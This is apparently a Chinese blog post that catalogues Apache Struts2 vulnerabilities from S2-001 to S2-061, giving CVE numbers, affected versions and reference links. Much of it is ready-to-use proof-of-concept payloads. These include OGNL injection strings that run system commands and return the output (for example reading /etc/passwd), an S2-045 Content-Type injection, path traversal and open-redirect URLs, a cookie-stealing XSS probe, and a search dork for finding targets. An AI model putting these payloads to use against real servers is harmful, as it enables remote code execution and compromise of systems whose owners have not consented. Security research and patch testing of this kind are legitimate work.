• Struts


    开源项目

    https://github.com/xhycccc/Struts2-Vuln-Demo
    https://github.com/prakharathreya/Struts2-RCE burp插件

    参考文章

    https://issues.apache.org/jira/browse/WW-3858
    https://cwiki.apache.org/confluence/display/WW/S2-012
    https://www.cnblogs.com/LittleHann/p/4648833.html
    https://blog.csdn.net/sinat_40662281/article/details/88755721
    http://blog.sina.com.cn/s/blog_4550f3ca0101g6sh.html
    https://my.oschina.net/cronie/blog/172641
    https://www.jianshu.com/p/d3e311528426
    https://struts.apache.org/plugins/convention/
    https://www.cnblogs.com/huangcongcong/p/4701146.html
    https://struts.apache.org/security/#restrict-access-to-the-config-browser-plugin
    https://cloud.tencent.com/developer/article/1413525
    https://www.ktanx.com/blog/p/4929
    https://www.cnblogs.com/yjmyzz/p/struts2-rest-plugin-advanced-usage.html
    https://help.aliyun.com/document_detail/72057.html
    https://www.cnblogs.com/zhangminghui/p/4107735.html
    http://json-lib.sourceforge.net/

    漏洞分析

    struts属性 - tag

    struts属性 - Freemarker标签
    Jackson
    XStream

    文件上传-Content-Type

    struts属性 - xxx标签

    JSON-lib

    XStream

    struts插件 - rest

    Spring security AccessDecisionManager

    URLValidator 

    struts插件 - convention

    struts功能类 - XSLTResult 

    拦截器 - I18NInterceptor

    struts配置不当 - 字符编码问题

    struts配置不当 - 调试模式打开

    struts功能类 - CookieInterceptor 

    valueStack

    XWORK

    OGNL

    补丁

    https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264

    CVE-2020-17530 | s2-061

    影响版本
    Struts 2.0.0 - Struts 2.5.25
    
    %{...}

    CVE-2019-0233 | s2-060

    影响版本
    Apache Struts 2.00 - 2.5.20

    CVE-2019-0230 | s2-059 

    影响版本
    Apache Struts 2.00 - 2.5.20

    s2-058

    影响版本
    Struts 2.0.0 - 2.5.12

    cve-2018-11776 | s2-057

    影响版本
    Struts 2.3 - 2.3.34
    Struts 2.5 - 2.5.16

    CVE-2018-1327 | s2-056

    影响版本
    Struts 2.1.1 - Struts 2.5.14.1
    
    poc
    DOS

    S2-055

    影响版本
    Struts 2.5.0.0 - Struts 2.5.14.0

    CVE-2017-15707 | s2-054

    影响版本
    Struts 2.5 - Struts 2.5.14
    
    poc
    DOS

    CVE-2017-12611 | s2-053

    影响版本
    Struts 2.0.1 - Struts 2.3.33
    Struts 2.5 - Struts 2.5.10

    poc

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

    CVE-2017-9805 | s2-052

    影响版本
    Struts 2.3.0 - Struts 2.3.33
    Struts 2.5.0 - Struts 2.5.12

    调用栈:
    ContentTypeInterceptor.java  getHandlerForRequest()
    ContentTypeInterceptor.java handler.toObject(reader, target )
    XStreamHandler.java toObject()

    poc

    S2-devMode

    影响版本
    Struts 2.1.0-2.3.1

    CVE-2017-9793 | s2-051

    影响版本
    Struts 2.1.6 - 2.3.33 
    Struts 2.5 - 2.5.12
    
    poc
    DOS

    CVE-2017-9804 | s2-050

    影响版本
    Struts 2.3.7 - Struts 2.3.33
    Struts 2.5 - Struts 2.5.12
    
    poc
    s2-047的绕过(正则)

    CVE-2017-9787 | s2-049

    影响版本
    Struts 2.3.7 - Struts 2.3.32
    Struts 2.5 - Struts 2.5.10.1
    
    poc
    DOS

    cve-2017-9791 | s2-048

    影响版本
    Struts 2.3.x

    CVE-2017-7672 | s2-047

    影响版本
    Struts 2.5 - Struts 2.5.10.1
    poc s2
    -044的绕过(正则)

    cve-2017-5638 | s2-046

    影响版本
    Struts 2.3.5-2.3.31
    Struts 2.5-2.5.10

    CVE-2017-5638 | s2-045

    影响版本
    Struts 2.3.5-2.3.31 
    Struts 2.5-2.5.10
    poc
    Content-Type: multipart/form-data
    %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; 

    CVE-2016-8738 | s2-044

    影响版本
    Struts 2.5 - Struts 2.5.12

    poc
    DOS

    s2-043

    影响版本
    Usage of the Config Browser plugin in a production evnironment

    CVE-2016-6795 | s2-042

    影响版本

    Struts 2.3.1 - 2.3.30

    Struts 2.5 - 2.5.2

    
    poc
    path traversal

    CVE-2016-4465 | s2-041

    影响版本
    Struts 2.3.20 - 2.3.28.1
    Struts 2.5 - 2.5.12
    
    poc
    DOS - 正则使用不当

    CVE-2016-4431 | s2-040

    影响版本
    Struts 2.3.20 - Struts Struts 2.3.28.1
    
    poc
    重定向

    CVE-2016-4433 | s2-039

    影响版本
    Struts 2.3.20 - Struts Struts 2.3.28.1
    
    poc
    重定向

    CVE-2016-4430 | s2-038

    影响版本
    Struts 2.3.20 - Struts Struts 2.3.28.1
    
    poc
    CSRF
    cve-2016-4438 | S2-037
    影响版本
    Struts 2.3.20-2.3.28.1

    CVE-2016-4461 | s2-036

    影响版本
    Struts 2.0.0 - Struts 2.3.28.1
    
    poc
    s2-029的绕过

    CVE-2016-4436 | s2-035

    影响版本
    Struts 2.0.0 - Struts 2.3.28.1

    poc

    CVE-2016-3093 | s2-034

    影响版本
    Struts 2.0.0 - Struts 2.3.24.1
    
    poc
    dos

    s2-033

    影响版本
    Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)
    cve-2016-3081 | s2-032
    影响版本
    Struts 2.3.18-2.3.28(不包含2.3.20.3和2.3.24.3)

    CVE-2016-3082 | s2-031

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

    poc

    CVE-2016-2162 | s2-030

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.24.1
    
    poc
    XSS

    CVE-2016-0785 | s2-029

    影响版本
    Struts 2.0.0-2.3.24.1(2.3.20.3不包含)

    poc
    (%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,

    CVE-2016-4003 | s2-028

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.24.1
    
    poc
    XSS

    CVE-2016-3090 | s2-027

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.16.3

    poc
    正则使用不当问题

    CVE-2015-5209 | s2-026

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.24

    CVE-2015-5169 | s2-025

    影响版本
    Struts 2.0.0 - Struts Struts 2.3.16.3
    
    poc
    XSS

    CVE-2015-1831 | s2-024

    影响版本
    Struts 2.3.20
    
    poc

    CVE-2014-7809 | s2-023

    影响版本
    Struts 2.0.0 - Struts 2.3.16.3
    
    poc
    csrf

    CVE-2014-0116 | s2-022

    影响版本
    Struts 2.0.0 - Struts 2.3.16.3

    s2-021 |CVE-2014-0112,CVE-2014-0112

    影响版本
    Struts 2.0.0 - Struts 2.3.16.3

    poc
    s2-020的绕过

    s2-020 | CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)

    影响版本
    Struts 2.0.0 - Struts 2.3.16.1
    poc dos http:
    //localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径 rce http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
    S2-019
    影响版本
    Struts 2.0.0-2.3.15.1

     

    CVE-2013-4310 | s2-018

    影响版本
    Struts 2.0.0 - Struts 2.3.15.2
    
    poc - 安全机制绕过

    CVE-2013-2248 | s2-017

    影响版本
    Struts 2.0.0 - Struts 2.3.15 
    
    poc- 重定向
    http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
    http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

    S2-016

    影响版本
    Struts 2.0.0-2.3.15

    S2-015

    影响版本
    Struts 2.0.0-2.3.14.2

    poc
    /${1+1}
    exp

    /%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action

    S2-014

    影响版本
    Struts 2.0.0-2.3.14.1

    CVE-2013-1966(S2-013)

    影响版本
    Struts 2.0.0-2.3.14.1
    poc
    %24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D
    CVE-2013-1965(S2-012)
    影响版本
    2.0.0-2.3.13

    poc
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

    重定向过程中参数未过滤导致S2-002|S2-003|S2-009再利用

    CVE-2012-4387 | s2-011

    影响版本
    Struts 2.0.0 - Struts 2.3.4  DOS

    CVE-2012-4386 | s2-010

    影响版本
    Struts 2.0.0 - Struts 2.3.4

    cve-2011-3923 | S2-009

    影响版本
    Struts 2.0.0-2.3.1.1

    poc
    (%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

    S2-008

    影响版本
    Struts 2.1.0-2.3.1

    poc
    %23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

    CVE-2012-0838 | Struts-s2-007

    影响版本
    Struts 2.0.0-2.2.3

    poc
    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + 

    CVE-2011-1772 | s2-006

    影响版本
    Struts 2.0.0 - Struts 2.2.1.1
    
    poc
    http://localhost:8080/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value

    CVE-2010-1870 | s2-005

    影响版本
    Struts 2.0.0 - Struts 2.1.8.1

    s2-004

    影响版本
    Struts 2.0.0 - 2.0.11.2
    Struts 2.1.0 - 2.1.2
    
    poc
    http://localhost:8080/struts2-blank-2.0.11.1/struts..
    http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f
    http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/

    s2-003

    影响版本
    Struts 2.0.0 - Struts 2.1.8.1

    s2-002

    影响版本
    Struts 2.0.0 - Struts 2.0.11

    poc
    <script 1>alert(1)</script>

    s2-001

    影响版本
    Struts 2.0.0 - Struts 2.0.8
    poc
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    
    
    Google Hack: filetype:action 

    https://help.aliyun.com/document_detail/72057.html

  • 相关阅读:
    5.3Role和Claims授权「深入浅出ASP.NET Core系列」
    【干货分享】可能是东半球最全的.NET Core跨平台微服务学习资源
    5.2基于JWT的令牌生成和定制「深入浅出ASP.NET Core系列」
    5.1基于JWT的认证和授权「深入浅出ASP.NET Core系列」
    4.5管道实现机制和模拟构建管道「深入浅出ASP.NET Core系列」
    4.4管道和中间件介绍「深入浅出ASP.NET Core系列」
    目录导航「深入浅出ASP.NET Core系列」
    4.3dotnet watch run「深入浅出ASP.NET Core系列」
    4.2WebHost配置「深入浅出ASP.NET Core系列」
    4.1ASP.NET Core请求过程「深入浅出ASP.NET Core系列」
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/9578131.html
Copyright © 2020-2023  润新知